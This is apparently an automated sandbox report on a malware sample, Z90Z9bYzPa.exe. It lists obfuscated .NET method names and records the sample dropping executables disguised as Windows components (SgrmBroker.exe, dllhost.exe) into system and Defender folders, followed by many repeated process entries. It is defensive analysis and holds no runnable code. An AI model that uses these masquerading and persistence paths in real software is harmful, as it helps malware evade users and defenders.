Source: Z90Z9bYzPa.exe, LlBtgui05bDc8DJujew.cs	High entropy of concatenated method names: 'dk3ilEG1hX', 'ijwXrNWBFkUOaLfkjKDA', 'wd7oZ5WBd2insWsg889c', 'LVowC8WBqDeVDmcdXLhn', 'z2jaDHWBKtD28FO1aITp', 'mdxi80PvMc', 'mtkigGZHvW', 'ARji7pPVKb', 'ygqdk6WBTW6o2RwkKmS5', 'Whjt78WByFc99DK3Dc5R'
Source: Z90Z9bYzPa.exe, lbLcX3KUEwDwb2neRyV.cs	High entropy of concatenated method names: 'pSnW6seyimN', 'IqCWuhl3GUf', 'vLN00vWcX03A2CBTtYSi', 'cor63BWctPv0uZ5yvTjZ', 'dc6AImWcpggXFmOXOXG2', 'G0AIbMWC3ec3iQJDBWdI', 'r8WGD0WCWLVYIDg5x12Y', 'imethod_0', 'IqCWuhl3GUf', 'imethod_0'
Source: Z90Z9bYzPa.exe, LD4EpAPMlQnxsVlmQsQ.cs	High entropy of concatenated method names: 'Close', 'qL6', 'tY3PUCd0Jc', 'UE0P4RJHVI', 'C59PB57fNI', 'Write', 'get_CanRead', 'get_CanSeek', 'get_CanWrite', 'get_Length'
Source: Z90Z9bYzPa.exe, oPquSMmL4sQZe4OMw0O.cs	High entropy of concatenated method names: 'kIYmYbNuMU', 'HE4mrW00d5', 'r73mudmXY3', 'KK9m2LSF3d', 'EMAm6QvWrg', 'TKmmmoHeFa', 'WPLmxAs3Nh', 'pH8m5Jw9kb', 'MHSmEQ7pck', 'dvHmZw6RCP'
Source: Z90Z9bYzPa.exe, pLx50ki4wJlXKw2KRO8.cs	High entropy of concatenated method names: 'mALiyY9mo6', 'K2xi9e5yZ1', 'DZUiTcmD7m', 'aV5vfsWoW348eNo8p3pt', 'QTZVdhWoLakfWSFpvv4T', 'RHLZlVWBzmTTPlsfusBn', 'T2dmp7Wo366gQVEggcfG', 'yFeioJ6nne', 'mgpiw6PEWf', 'PQOiJRNZoO'
Source: Z90Z9bYzPa.exe, WQdupr2i2vwcQkxeT9H.cs	High entropy of concatenated method names: 'UyR20p7AZP', 'yc9xUyWPovekVJvFuU1R', 'UGXxmsWP4g41GuUjFPFA', 'J60Cv1WPBjDRxWnqdlRQ', 'nFS9HuWPwjfOBiFEbi7V', 'sosVR5WPJ7mplF3PyscV', 'G9q2IOdaey', 'FRh2eO7ruI', 'K2p21P5NUc', 'TZn2kFLa5M'
Source: Z90Z9bYzPa.exe, VNDqDumvvlUdpoclhcA.cs	High entropy of concatenated method names: 'q76', 'method_0', 'p9e', 'hkB', 'method_1', 'method_2', 'jC5hZuWMGJMPSjfcYNhh', 'RFLt2tWM0fDl8TsT97oE', 'xYupgGWMNPTZeigtub4X', 'pBVmARpHvb'
Source: Z90Z9bYzPa.exe, LGhSIJsg8AggRkbq37I.cs	High entropy of concatenated method names: 'method_0', 'BsrsP9foq2', 'J6JsOMvjur', 'b5ysM8GXLa', 'STtslS7jJP', 'PkJsUdAJyO', 'EsLs4OxNUh', 'WP4dcCWybJqB6RMLZWtT', 'GAGP4qWyRqT13nNLi9Dt', 'OA6runWyHj0wxWmeEQyf'
Source: Z90Z9bYzPa.exe, ghyU2sg6wGUSpZ5M2DD.cs	High entropy of concatenated method names: 'Bxlgx4YryJ', 'Gljg5N78sJ', 'method_0', 'method_1', 'I27', 'c6a', 'C5p', 'fxwgEO8n8W', 'method_2', 'uc7'
Source: Z90Z9bYzPa.exe, OsPoBX4gGddrVu89hUw.cs	High entropy of concatenated method names: 'xRA4PssmYt', 'qMP4O3BVD6', 'Meb4MGtrAW', 'tI74lqesp0', 'g3J4U3oDXI', 'w2744YHRXQ', 't5S4BEUnXb', 'gp04obL4RP', 'T9q4wacQCw', 'MUN4JZWJX8'
Source: Z90Z9bYzPa.exe, mUnM996Gsl6NQ8xjU5T.cs	High entropy of concatenated method names: 'Bve6N0Qe61', 'TDq68nyMFp', 'o8v6gXLqYY', 'nIO67QcukS', 'Kbn6PGhuAc', 'NcT6OrhN3c', 'UrhIv9WODPPq2EiGZUL0', 'h5c09GWOyW8KfRpk0aRd', 'WMKeNAWO9427UYhPW65G', 'xo7lf2WOTZXQS6eoH4SM'
Source: Z90Z9bYzPa.exe, uKfibMrnuASysx0pNb8.cs	High entropy of concatenated method names: 'NhyrfMvZSw', 'vBQCLJW7rKIyhTYnjU44', 'wmStsDW7jCdU0CQOSgmx', 'lBc7G6W7YXeQwonNYHMc', 'wTNJ0QW7uW2SPTME53DG', 'rlfsToW729FkL1d8HKI0', 'U1J', 'P9X', 'v8AWYAWNYx0', 'j4iWYR7ftpc'
Source: Z90Z9bYzPa.exe, eYfZIbC3Mi8CVisabRy.cs	High entropy of concatenated method names: 'qoECY7JcwD', 'HWuCrjMub3', 'A7TdJlWtgRqg7O8qwwS7', 'IraMfOWt7iJD9IFiPgB1', 'iSYKD6WtNfFbgZb3FG0J', 'TXOFUCWt8H2CoQ0r5Jdi', 'M5UuJVWtPGHssnSN85sf', 'l1cqUJWtOkypIHWqxtbq', 'qZECLb2Ccr', 'FALWCYWtsNFcLGLMVrNq'
Source: Z90Z9bYzPa.exe, CsiWujCHoQ3V4uxI7qP.cs	High entropy of concatenated method names: 'ugtFhxWtKv6iDqyKEMhj', 'tiNo2oWtVEv6XquySgrw', 'EowtKktLu2', 'Tg77wXWtpwNQfZoVwr1Z', 'lxFgdyWtXQVlfCjNlxwq', 'AcOb1cWtzY5n8Amw1gqm', 'GkVK4rWp3I85A1jyjeun', 'BXbkq0WpWjyvAkOvn1ya', 'uVlBCNWpLCUeSR52EGZn', 'kH0EW5Wpj9FE87VsBiEY'
Source: Z90Z9bYzPa.exe, VSP6V7WX7Z9IZVIm2b9.cs	High entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'SwIW6W8SbBy', 'GBOWYWivvQn', 'jr089VWGzjA2AJOeDeOF', 'SduKdYW03D1qKwCi6NFT', 'k2S8vfW0WMcHmgA3yZ43', 'bHl84wW0LPO6tnvpl0un'
Source: Z90Z9bYzPa.exe, zxaJEUBgjiSP3SXbyiE.cs	High entropy of concatenated method names: 'x6KBPoREnu', 'B7lBOofWco', 'CCsBM2qsE4', 'vcfBlrK3ID', 'eRPBUZeLfD', 'NH3B4ZgF1l', 'hSdBBmgWhX', 'vwcBoFIFZN', 'mM8Bw2nfUq', 'lbpBJEmBX4'
Source: Z90Z9bYzPa.exe, Ge00mZhk3ibkyZhjcby.cs	High entropy of concatenated method names: 'L60hhEmtfP', 'EbShsQ3qIr', 'qOIhGnhcNa', 'jcCh0ClwCb', 'jhbhNgrdEx', 'b17Xr7WD9LAff4fjpdSU', 's8EJivWDD8s8bCJcTFan', 'C7eAYlWDy91lHIN4nvVS', 'h07p9NWDTKXRfMeo00Mg', 'mZTytSWDfPtviV7qL4il'
Source: Z90Z9bYzPa.exe, P09qlLcg3w0TlBYwakM.cs	High entropy of concatenated method names: 'KA7cPMnFMy', 'fHmcOlnEj1', 'xpBcMXHxJa', 'h7KclCh17U', 'Dispose', 'spXlwjWtYYdFO1YG00hq', 'dXJkxWWtLYumvRjUwrrO', 'WPPLQuWtjdZA18wMAaGF', 'r489ufWtrBeLbht2SghD', 'z8EGMmWtu4gASGm90KbA'
Source: Z90Z9bYzPa.exe, uesWvP2WQaddx0rHpm2.cs	High entropy of concatenated method names: 'Gdc2jwbLl0', 'ILd2Y1bjlo', 'SmA2rxWkUS', 'irTc5pWPuNOxFKe1fGwM', 'aPPt3BWP2PRD19u7oDw2', 'pPTpfuWP6wYg5MH4H6fk', 'kY1NWPWPmHQDPb6g3k53', 'wOGWieWPx8xv94TQnhcO', 'J64vDaWP5gsoR3Xw4fqB', 'ysopMyWPEMT8JEuZwZO1'
Source: Z90Z9bYzPa.exe, r3bLhd2gfo2PaiIE63I.cs	High entropy of concatenated method names: 'Ufu2PexsOI', 'GJX2O1IR8B', 'jUQ7uWWP9bBQISEWCwV1', 'xSDHdiWPD7fSV67xgUI5', 'KIDYu9WPyoHLmgj0NMyu', 'zPXMXIWPTVaKg3ZjI8yg', 'uCXsWXWPfKPNlLNexY35', 'QM0XQxWPdsEsYYmvARph', 'DDTDhDWPqgABqvMdOJEj', 'SE1eZbWPFXyFNJDDJWuW'
Source: Z90Z9bYzPa.exe, P8X6W7IW6Sbl5j4qMgF.cs	High entropy of concatenated method names: 'rC9', 'method_0', 'CS0W6iicpqy', 'RX3W6SQYtm6', 'WByNthWwgJvOU2kUER8o', 'BZatUJWw7i6SkeC3hgwD', 'XI7dqJWwPbr1dstkKJyT', 'hmTcI5WwOrAEcfqAPXZF', 'AQHIc7WwMg0coM6RKfs0', 'CptJ4jWwlVNA2wLw6PKq'
Source: Z90Z9bYzPa.exe, HmppAikqRQjYOIiG2es.cs	High entropy of concatenated method names: 'ibbkK7rQEc', 'urhkVwQvgF', 'i9Zkc5FVEg', 'mAJkCFjBuC', 'GhrktGJYBC', 'uMZ8y0WnDJQsO2coFfxM', 'Mj88icWnJVjSrhXRDwVe', 'UvZb3BWnncJKu2kdfHm7', 'Urt3BhWnygKbwL36vv3j', 'cnIRleWn9YCqafU6iMlO'
Source: Z90Z9bYzPa.exe, dIEKNl6R7ZJUKBRqrle.cs	High entropy of concatenated method names: 'Mm96SiajRR', 'FBfTWLWOsYH6EEEUEe6h', 'dAul4SWOGKKCAyFtUVPR', 'jnGXaYWO0VGOpT3cwMeT', 'eWf6bng3aK', 'nj55VrWOeLYRuapiNqE5', 'BKwknGWO1FyHCPTAwT9U', 'vtfj1dWOkygMii8nZ2om', 'AIPaBfWOSAIbBSSX87FB', 'LIgSkAWOIIGGCpVpL7nQ'
Source: Z90Z9bYzPa.exe, vx5nht6eAeYJB8C7wpU.cs	High entropy of concatenated method names: 'Rhf6khx2rZ', 'kVftiMWO7ckQkLPXfsRH', 'zNxbkbWOPaUpBkLiKlXt', 'mphFQoWOOoH1mWbIZ5FV', 'WZcPbGWOMwoQDFSWk5c4', 'YIqk8hWOlRiqUJCZyX9t', 'boVdsIWO8YhexLe2SEiq', 'wxsXeBWOg3he1nZeQhMC', 'X9YPNNWOUdQDxQglRm3G'
Source: Z90Z9bYzPa.exe, dK4WWKmkxCULJLhV8ip.cs	High entropy of concatenated method names: 'FVCKqfWUGGUG6DLZ1O6M', 'QSICgkWU0EZQwGX59P8b', 'vE2qpLWUNBaENSaeEGCf', 'EtqvXGZPDw', 'SJR5u2WUP4fKiPLUxH97', 'Y0nVyOWUgEKkbF1TeGak', 'uatbZZWU7905y8cGa9dY', 'EJAJgcWUORxSU38i6Un1', 'gWIxUqWUMHZNci0pb9Kt', 'zAfaWHSUQl'
Source: Z90Z9bYzPa.exe, yjoMFPLaWf5nxZO5cOI.cs	High entropy of concatenated method names: 'iIPLRCnngZ', 'j00LHwmN2J', 'o69LbleJAY', 'tO0mRPW0SvALNEy4nuDO', 'LJZgVXW0IGyqo1hUfS78', 'RI2drSW0epQ8cQ2KKK2w', 'U943hpW01d6wUD5dCOSt', 'Ly22hNW0kDsa3vXdaWjt'
Source: Z90Z9bYzPa.exe, of1OXOI5P7kgfvDxnvL.cs	High entropy of concatenated method names: 'Rrr', 'y1x', 'fwLW6eTHJwS', 'evRW61r4Xma', 'yQlOFDWw9Jb0jA6E5y1q', 'nNJmDsWwT0tQ6TvBqhP1', 'yGKSm2WwfVv6MesMxEIB', 'kXcok8Wwdh9YKRqcIQrV', 'kKI6LsWwqKqPcJq9YT1v', 'O7tG7tWwFb9f4Ow2kdws'
Source: Z90Z9bYzPa.exe, agy1NB4muXQgJ4Lq5qB.cs	High entropy of concatenated method names: 'DHT4QUWKsg', 'SDFb3MWKj6nnKehE2Yjd', 'yCkus5WKY88LcYf973id', 'sDq9G0WKWlnXrXoVXd4a', 'J7S3NFWKLKHadglnPCNo', 'CACTF5WKriBKKXSOkQNt', 'IPy', 'method_0', 'method_1', 'method_2'
Source: Z90Z9bYzPa.exe, JNZMWOrOgW9Vvl7DDo6.cs	High entropy of concatenated method names: 'l29', 'P9X', 'vmethod_0', 'H5WWY5gvgrP', 's3PrlkviwM', 'imethod_0', 'Ml1CoiWgJC3ADpAQr6WW', 'WYxbKVWgnTlGmFtqJ8XW', 'fpPCQxWgDjUeu6q3eQ0o', 'ji9qgiWgy94yibPBsrL5'
Source: Z90Z9bYzPa.exe, bQbRtlPdUI4oEs1mRZX.cs	High entropy of concatenated method names: 'VtkPFoFvNY', 'k6r', 'ueK', 'QH3', 'FsgPKr94YY', 'Flush', 'T3ePVohVxO', 'D76PcbpX45', 'Write', 'mPDPCR4N6l'
Source: Z90Z9bYzPa.exe, VlgXSoLg23xrrdUEcoJ.cs	High entropy of concatenated method names: 'TYmLw0OTfW', 'FsyLJyIr1y', 'OGitAeW0B3uosrIvZGSQ', 'mdNO7QW0UPdl6f3eLrm0', 'QyiJsaW04O07d2Lo2Owx', 'iyvL9a6jNW', 'XJIsKqW0n5rNQxQ11kyY', 'WLcwPDW0wyX1it36H3l0', 'mwYoV9W0JWljr33GUicK', 'mQyHAqW0DsEowDKnOX7l'
Source: Z90Z9bYzPa.exe, tSUHrNWb7HcexQVnOeT.cs	High entropy of concatenated method names: 'RTM', 'KZ3', 'H7p', 'eeS', 'imethod_0', 'XbG', 'zQrW2zCLa64', 'GBOWYWivvQn', 'XM6jDTWGescd2BCjA8Ob', 'aHIreZWG1Svy8RuJ98MA'
Source: Z90Z9bYzPa.exe, I2DBLjHI19kKneIqia.cs	High entropy of concatenated method names: 'VoxO3ybvt', 'xAYnDMWs7X2uINmAkbg5', 'RqeKI2WsPCNRjY6gQfSX', 'MZUnWdWs8MJyRBxMaKef', 'ydZQh4WsgQySqtgYXuIf', 'dxviRN7nw', 'vVOSsJAHa', 'w34I0kyQd', 'ofGeV8fdE', 'NKB1eikFV'
Source: Z90Z9bYzPa.exe, MSMkVpSvTkhXPoTSFCJ.cs	High entropy of concatenated method names: 'VIvSS8XDET', 'LV5h3oWon9bdI9SsAX9w', 'Ekqh8IWowAGnAsv7kQVT', 'H96cuOWoJCk9d2PMfWpV', 'LYnBpOWoDKVbj9qM9AtL', 'neoqiKWoylTaiulcEEy7', 'HeQSAqYTDk', 'tpriTTWoMjciIS8sJchW', 'nEjhaQWoPKPS6NkQTEXt', 'tyZgRrWoOqEt3EDmCguH'
Source: Z90Z9bYzPa.exe, Wwd0ARQn0jYpccZtatO.cs	High entropy of concatenated method names: 'a99', 'yzL', 'method_0', 'method_1', 'x77', 'CkoQylnted', 'SWqQ9YD8gR', 'Dispose', 'D31', 'wNK'
Source: Z90Z9bYzPa.exe, t2gqwFrArt7VVbytyPo.cs	High entropy of concatenated method names: 'yhQrGBYuxB', 'QJTr0lpdHJ', 'OGhrNNG0wP', 'vpLoylWgBlfb8jSdgnUH', 'lINRJbWgUReZJM6sVjFn', 'ib16RVWg4y7oWOg9yb2t', 'Fm926gWgox0lx82nCR3M', 'CtyrkjSY6v', 'Xt6rQZVZxj', 'oEup06WgM9stpggYBnsv'
Source: Z90Z9bYzPa.exe, vxBLL1jsmWOD28Basdm.cs	High entropy of concatenated method names: 'QopjJ5NNkV', 'Tv5jnqFddd', 'eSbjDIIGxP', 'qH9pFDWNDrptid4HEUvg', 'pXSv4HWNyEPlnwX4BMYK', 'WGxZ8WWNJIaZ58RbC2Sv', 'nJOVvEWNnQexPpT8SA89', 'eGsj0o4kX6', 'kAwjNykcUr', 'QTZj8VcCJk'
Source: Z90Z9bYzPa.exe, AaOg7o4DP9iPPmigEvv.cs	High entropy of concatenated method names: 'vQMW6QxQ0G6', 'zXr49SQLHk', 'tYy4T2lrVV', 'jKP4fTxSIa', 'PdxVppWKaylOf1fuD4rg', 'dVM30SWKAhRbRCZvfdLd', 'X92wm9WKRml6MJr8fvqT', 'hKRY7GWKHCFO5Chv5INk', 'r3b8GGWKbZcYlYjlGZny', 'vOEt1qWKiQ5brQmdUwwB'
Source: Z90Z9bYzPa.exe, tCytA42wuflFOcDLyJk.cs	High entropy of concatenated method names: 'VgH2cAXhVb', 'JMV2CCU6Su', 'q3eoCAWOYiNGDI4Yx1VI', 'emaBsHWOLYXstqG93qZ4', 'oBALMEWOjO3ZRt825MTm', 'pXMfHiWOrFZ5DP3hYBDd', 'wkX2n9GDqZ', 'UIo2DoDnSt', 'g322ym4OwF', 'GiR29VEgJe'
Source: Z90Z9bYzPa.exe, yu2IWIjdoMRJV67ADdQ.cs	High entropy of concatenated method names: 'gduYjRc7Dh', 'vojYY920T9', 'whuYrqpYES', 'RxLkiQW8YwnijcaqqMm8', 'Mq72vjW8rsAXQ6sQJJIF', 'lm1kV6W8LwRWBAgjiaXI', 'oCa1wyW8jr7ucuTD3SXK', 'p0cY5ktW00', 'a629AgW8mu8ArJFrSkxa', 'FxbjbaW82G7Dau1LSRCA'
Source: Z90Z9bYzPa.exe, i9E29UOd55UOCLxPAPI.cs	High entropy of concatenated method names: 'Ls5riSWqKw6RnK8NBSHh', 'THxk3OWqq2B1yo5bVAit', 'Vtv17IWqF27m7KKkEM3V', 'wWOOFpN7Pm', 'Mh9', 'method_0', 'GOJOK7eP7g', 'nIuOVDUBkS', 'DBPOc8DEhT', 'm27OC7PoIn'
Source: Z90Z9bYzPa.exe, woWG1oLrrmNgdobvi7F.cs	High entropy of concatenated method names: 'jO9L2infH2', 'eqVL60mBYx', 'UPnLm4v4e8', 'xXSLxrV1aV', 'seohoEW0Zx9awKyL2eak', 'FxVLTZW05W57A06De3Yc', 'bHNg4TW0ELMdWILNkih5', 'QvsoXJW0vWBNBj2S5Lmv', 'V3VxT4W0anKdxBAy5hIj', 'CoKMZRW0Ac4cV3dq6ol1'
Source: Z90Z9bYzPa.exe, r8HuelBCPl0AKl2pEaP.cs	High entropy of concatenated method names: 'SjyBp2tyLD', 'GusBXQAROt', 'DyvBzHL8sD', 'h8ko3dqLqN', 'wtVoWtao4l', 'gOgoLKpWbI', 'FbBojwrqa5', 'YkZoYpq1bc', 'ac9orvf89O', 'iVUoumVyya'

Persistence and Installation Behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File written: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\OBFTQueV.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\FXwdgBOn.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Recovery\dllhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\nLVYNftZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\vrCFbZuL.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\YLzRFcIi.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\wpdNwZJG.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Recovery\UdtvoblhRrdVjJaLCN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\xzxenIoj.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\FuMllXyT.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\pSQwZPnx.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\WBdQFKdi.log	Jump to dropped file

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File created: C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\xzxenIoj.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\pSQwZPnx.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\YLzRFcIi.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\WBdQFKdi.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\FuMllXyT.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\vrCFbZuL.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\OBFTQueV.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\FXwdgBOn.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\wpdNwZJG.log	Jump to dropped file
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File created: C:\Users\user\Desktop\nLVYNftZ.log	Jump to dropped file

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
